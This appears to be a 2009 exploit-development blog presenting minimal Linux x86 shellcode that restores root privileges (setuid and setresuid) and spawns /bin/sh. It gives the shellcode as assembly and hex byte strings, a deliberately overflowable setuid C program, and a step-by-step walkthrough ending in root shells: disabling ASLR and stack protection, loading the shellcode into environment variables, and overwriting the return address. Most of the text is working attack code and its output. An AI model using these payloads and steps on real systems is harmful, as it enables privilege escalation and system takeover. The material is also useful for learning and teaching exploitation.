Tuesday, March 10, 2009

Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls

Chema Garcia from OpenSec proposes a minimal shellcode that maximizes the privileges of a process before spawning a shell. The total size is 28 bytes.

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

There have been some discussions reducing the size of the shellcode and some solutions have been published. The one you can find in packetstormsecurity by vlan7 for example, does not suid root when the starting memory is not not zeroed.

We are going to demonstrate it by exploiting the program you can find below. Notice that seteuid() sets the effective uid to 5000 despite the real uid stills being the one who owns the executable (if the file has the flag suid active).

#include <stdio.h>
#include <string.h>
#include <sys h="">
#include <unistd.h>

int main(int argc, char *argv[]) {
seteuid(5000);
function(argv[1]);
}

void function(char *arg){
char buffer[8];
strcpy(buffer, arg);
printf("buffer is at %p and contains \'%s\'\n", buffer, buffer);
}


I have put into three different environment variables three different versions of the shellcodes:
$SHELLCODE0: Running shellcode published in the last post (many bytes)
$SHELLCODE1: Shellcode download from packetstormsecurity (26 bytes)
$SHELLCODE2: Shellcode from Chema Garcia (28 bytes)

Put the shellcode code into the corresponding variables.

plana$ export SHELLCODE0=`cat highest_priv_shell`
plana$ export SHELLCODE1=$(perl -e 'print "\x31\xc0\x99\xb0\x17\x60\xcd\x80\x61\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"')
plana$ export SHELLCODE2=$(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"')

Compile and set suid to the exploitable program. Disable stack and randomization of memory space protections.

root@pdux:~# echo 0 > /proc/sys/kernel/randomize_va_space
plana$ gcc -g overflowable.c -o overflowable -fno-stack-protector
overflowable.c:8: warning: conflicting types for ‘function’
overflowable.c:5: warning: previous implicit declaration of ‘function’ was here
plana$ sudo chown root:root overflowable
plana$ sudo chmod u+s overflowable

Get the environment variable addres and overwrite the return address with the obtained one.

plana$ ./getenvaddr SHELLCODE0 ./overflowable
SHELLCODE_OK will be at 0xbffffcb1
plana$ ./overflowable $(perl -e 'print "A"x12 . "\xb1\xfc\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit

plana$ ./getenvaddr SHELLCODE1 ./overflowable
SHELLCODE will be at 0xbffff653
plana$ ./overflowable $(perl -e 'print "A"x12 . "\x53\xf6\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAAS���'
$ whoami
whoami: cannot find name for user ID 40948
$ exit

plana$ ./getenvaddr SHELLCODE2 ./overflowableSHELLCODE2 will be at 0xbffffdfc
plana$ ./overflowable $(perl -e 'print "A"x12 . "\xfc\xfd\xff\xbf"')buffer is at 0xbffff380 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit

With that we demonstrate that the minimal 28 bytes shellcode spawns root. We have as well demonstrated that the vlan7's one (shellcode1) does not really work since assumes the zeroivity of a setresuid parameter.

Monday, March 9, 2009

Spawning shell with highest UID available.

The first post is a publication of a shellcode I have found over there. It just spawns a shell with the highest privileges available for the current process.
There are some programs that drop the privileges to a lesser privileged user to protect critical parts of the code. They just allow the high privileges for executing the parts of code that need them.
The drop of privileges is often performed with the setuid system call.
Fortunately the privileges can be restored with the setresuid system call.

BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx
mov al, 0xa4 ; 164 (0xa4) for syscall #164
int 0x80 ; setresuid(0, 0, 0) restore all root privs

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; make sure eax is zeroed again
mov al, 11 ; syscall #11
push ecx ; push some nulls for string termination
push 0x68732f2f ; push "//sh" to the stack
push 0x6e69622f ; push "/bin" to the stack
mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
push ecx ; push 32-bit null terminator to stack
mov edx, esp ; this is an empty array for envp
push ebx ; push string addr to stack above null terminator
mov ecx, esp ; this is the argv array with string ptr
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

To use this shellcode save it in a plain text file, compile it and put it into an environment variable for example.

planadecu@pdux:~$ nasm highest_priv_shell.s
planadecu@pdux:~$ export SHELLCODE=$(cat highest_priv_shell)
planadecu@pdux:~$ echo $SHELLCODE
1�1�1�1Ұ�1�
Qh//shh/bin��Q��S��


Now you just need a buffer to overflow ;)

From the development manpages setuid system call does the follow.

int setresuid(uid_t ruid, uid_t euid, uid_t suid);

setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the calling process.

The corresponding system call numbers are 164 according to the unistd_32.h of a 2.6.27-13 kernel.

planadecu@pdux:~$ grep setresuid /usr/src/linux-headers-2.6.27-13-generic/include/asm-x86/unistd_32.h

#define __NR_setresuid 164
#define __NR_setresuid32 208

That justifies the first lines of the shellcode.
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx
mov al, 0xa4 ; 164 (0xa4) for syscall #164
int 0x80 ; setresuid(0, 0, 0) restore all root privs
The interruption 0x80 makes the system enter the trap of the system call identified by its number stored in the EAX register.

The other part of the shellcode calls the execve system call with the '/bin//sh' string as the only parameter.

In the next post we are going to see how to use this shellcode in a buggy sample executable.